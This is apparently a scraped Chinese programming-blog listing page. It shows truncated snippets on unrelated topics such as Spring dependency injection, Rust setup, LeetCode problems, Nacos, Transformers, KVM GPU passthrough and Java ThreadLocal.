1 添加依赖 <properties><java.version>1.8</java.version><alibabaDruidStarter.version>1.2.11</alibabaDruidStarter.version> </properties><dependency><groupId>com.alibaba</groupId><artifactId>druid-s…

Python基础合集 练习24 (程序调试)

assert expression[,arguments] expression条件表达式语句,如果表达式的值为真,则程序会继续执行下去,如果值为假则程序抛出Assertionerror错误,并输出指定的参数内容 arguments可选参数 if not expression: raise AssertionError(argument) def num_ca(): book int(inpu…

Rust 一门赋予每个人构建可靠且高效软件能力的语言

目录 Rust 安装 尝试 hello, world 编译 链接出错 开启 Rust 之旅 官方教程 《Rust 程序设计语言》 《通过例子学 Rust》 核心文档 标准库 版本指南 CARGO 手册 RUSTDOC 手册 RUSTC 手册 编译错误索引表 非官方翻译教程 Rust 程序设计语言 简体中文版 通…

543. 二叉树的直径【71】

难度等级&#xff1a;容易 上一篇算法&#xff1a; 199. 二叉树的右视图【111】 力扣此题地址&#xff1a; 543. 二叉树的直径 - 力扣&#xff08;Leetcode&#xff09; 1.题目&#xff1a;543. 二叉树的直径 给定一棵二叉树&#xff0c;你需要计算它的直径长度。一棵二叉树的…

玩一玩 Ubuntu 下的 VSCode 编程

一&#xff1a;背景 1. 讲故事 今天是五一的最后一天&#xff0c;想着长期都在 Windows 平台上做开发&#xff0c;准备今天换到 Ubuntu 系统上体验下&#xff0c;主要是想学习下 AT&T 风格的汇编&#xff0c;这里 Visual Studio 肯定是装不了了&#xff0c;还得上 VSCode…

Spring:依赖注入的方式(setter注入、构造器注入、自动装配、集合注入)

依赖注入的方式有setter注入、构造器注入、自动装配、集合注入 首先&#xff0c;Maven项目pom.xml依赖包如下&#xff1a; pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:…

Servlet中转发和重定向的区别

什么是转发&#xff0c;重定向&#xff1f; 转发和重定向都是用于在服务器和浏览器之间进行页面跳转的方式。 转发是在服务器内部进行的&#xff0c;当一个Servlet接收到请求后&#xff0c;它可以将请求转发给另一个Servlet或JSP页面来处理请求&#xff0c;但是浏览器不知道这…

C语言-学习之路-04

C语言-学习之路-04 数组与字符串一维数组一维数组的定义和使用一维数组的初始化数组名一维数组练习 二维数组二维数组的定义和使用二维数组的初始化数组名 字符数组与字符串字符串的输入输出随机数字符串处理函数 数组与字符串 数组&#xff1a;为了方便处理数据把具有相同类型…

等保工作的定级指南文件

定级主要依据国家标准信息安全技术网络安全等级保护基本要求来整改。有关等保工作流程和明细,请见:https://luozhonghua.blog.csdn.net/article/details/130465356?spm=1001.2014.3001.5502 5网络安全等级保护概述 5.1等级保护对象 等级保护对象是指网络安全等级保护工作中…

微服务注册中心-Nacos概述

1、Nacos基本介绍 1.1. 什么是 Nacos&#xff1f; Nacos 是阿里巴巴推出来的一个新开源项目&#xff0c;这是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。 Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集&#xff0c;帮…

详解Transformer (Attention Is All You Need)

先导知识 Attention残差网络Layer Normalization 前言 注意力&#xff08;Attention&#xff09;机制[2]由Bengio团队与2014年提出并在近年广泛的应用在深度学习中的各个领域&#xff0c;例如在计算机视觉方向用于捕捉图像上的感受野&#xff0c;或者NLP中用于定位关键token…

kvm GPU直通/GPU透传 之修改Windows虚拟机分辨率

为了方便对服务器进行自动管理,我们需要对硬件进行虚拟化。对于显卡而言,Nvidia有专门支持GPU虚拟化的显卡,比如GRID GPU系列。以NVIDIA GRID K2为例,显存8GB,可虚拟出2块GPU。 对于GTX系列的显卡,如果Host主机为linux系统,想将显卡给虚拟机(windows或者linux)使用,…

函数的栈帧与销毁(栈帧可不是战争哦)

&#x1f929;本文作者&#xff1a;大家好&#xff0c;我是paperjie&#xff0c;感谢你阅读本文&#xff0c;欢迎一建三连哦。 &#x1f970;内容专栏&#xff1a;这里是《C语言》专栏&#xff0c;笔者用重金(时间和精力)打造&#xff0c;将C语言知识一网打尽&#xff0c;希望可…

码出高效:Java开发手册笔记(java对象四种引用关系及ThreadLocal)

码出高效&#xff1a;Java开发手册笔记&#xff08;java对象四种引用关系及ThreadLocal&#xff09; 前言一、引用类型二、ThreadLocal价值三、ThreadLocal副作用 前言 “水能载舟&#xff0c;亦能覆舟。”用这句话来形容 ThreadLocal 最贴切不过。ThreadLocal 初衷是在线程并…